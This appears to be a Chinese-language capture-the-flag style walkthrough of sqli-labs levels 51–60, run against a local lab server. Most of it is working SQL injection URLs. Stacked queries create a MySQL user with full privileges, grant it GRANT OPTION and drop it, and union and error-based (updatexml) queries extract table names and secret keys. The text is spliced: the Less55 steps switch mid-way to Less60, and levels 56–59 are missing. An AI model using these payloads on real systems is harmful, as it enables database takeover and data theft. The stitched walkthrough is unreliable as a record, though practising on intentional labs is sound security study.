目录
Less51
Less52
Less53
Less54
Less55
Less56
Less57
Less58
Less59
Less60
Less51浏览器地址栏输入如下url,返回sql语法错误,从报错可知闭合是单引号
http://192.168.101.16/sqli-labs-master/Less-51/?sort=1'
这关就堆叠注入而言,除了闭合,其他应该和上一关没多大区别。
这关再来点新花样,用堆叠注入创建一个新用户。创建新用户之前,先在服务器上确认一下,现在只有下图这三个用户。
然后在浏览器地址栏输入如下payload
http://192.168.101.16/sqli-labs-master/Less-51/?sort=1';CREATE USER 'xiannv'@'localhost';GRANT ALL PRIVILEGES ON *.* TO 'xiannv'@'localhost';-- s
然后再到服务器上确认一下,发现新用户xiannv已经创建了,并且拥有除Grant Option之外的所有权限
这关源代码也不分析了,和Less50相比只是多了单引号闭合。
Less52浏览器地址栏输入如下url,返回正确查询结果
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1
浏览器地址栏输入如下url,不返回查询结果。
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1"
由此可知,本关没有闭合,是数字型。
上一关中用堆叠注入创建的数据库用户xiannv没有grant option权限,这关就用堆叠注入把这个权限授予她吧
浏览器地址栏输入payload:
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1;GRANT grant option ON *.* TO 'xiannv'@'localhost'
再到服务器上瞅瞅,发现xiannv@localhost已经有grant option的权限了
在网上看到一篇说mysql用户权限管理的好文章,mark一下:Mysql 用户权限管理 - keme - 博客园 (cnblogs.com)
Less53浏览器地址栏输入下面两个url有正确的sql查询结果
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1"
输入下面的url不返回查询结果,可以判断闭合包含单引号
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'
输入下面的url,有正确的sql查询结果,可以判断闭合是单引号
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'-- s
接下来用堆叠注入把Less51创建的数据库用户xiannv删掉吧
浏览器地址栏输入如下payload:
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1';DROP USER 'xiannv'@'localhost';-- s
再到服务器上一看,用户'xiannv'@'localhost'果然没有了
从这关开始就全是challenge了,就是要在规定步数之类完成特定任务。
比如本关要在10步之内找到CHALLENGES数据库中的secret key并提交
第1步:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1
回显正确的查询结果。
第2步:看看闭合含不含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1'
不回显查询结果,说明闭合包含单引号,或者没有闭合(数字型)。
第3步:确认闭合符号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1'-- s
回显正确的查询结果,说明闭合是单引号。
第4步:猜列数。其实根据之前的关卡已经可以知道这边查询结果是3列了,不过既然这关给的步数限制比较多,那就稍微正经一点,挥霍一下吧。
浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 3-- s
回显正确的查询结果。
第5步:继续猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 4-- s
不回显查询结果,结合上一步,可知查询结果有3列。
第6步:union注入爆表名和列名。
由于题目已经说明了数据库名是CHALLENGES了,所以这里就不用爆库名了。为了节省步数(其实这一关好像还没啥必要),我决定表名和列名在同一个语句中一起爆。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s
回显的查询结果爆出了表名:m1pzj77a67,列名:id,sessid,secret_TQQ8和tryy
第7步:拿secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,secret_TQQ8 from CHALLENGES.m1pzj77a67-- s
回显的查询结果包含secret key:X4nsyosN33eZXTou83SDCjSU
将其填到提交secret key的提交框并submit即可过关。
这关的要求是在14步之内找到CHALLENGES数据库中的secret key并提交,限制步数比上一关多,看来可能比上一关难点。
第1步:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1
回显正确的查询结果。
第2步:看看闭合含不含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1'
不回显查询结果,说明闭合可能包含单引号,或者没有闭合(数字型)。
第3步:看看闭合是否包含双引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1"
返回报错信息,通过报错信息可知,本关闭合符号是")
步骤3: 用报错注入获取表名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s
得到表名:pilov0q6gw
步骤4:用报错注入获取列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='pilov0q6gw'),1,31),0x7e),1)-- s
得到列名:id,sessid,secret_SKRP,tryy
步骤5:用报错注入获取secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select secret_SKRP from challenges.pilov0q6gw),1,31),0x7e),1)-- s
得到secret key:Q75wD9fVwvK1mql1UjQhLwSj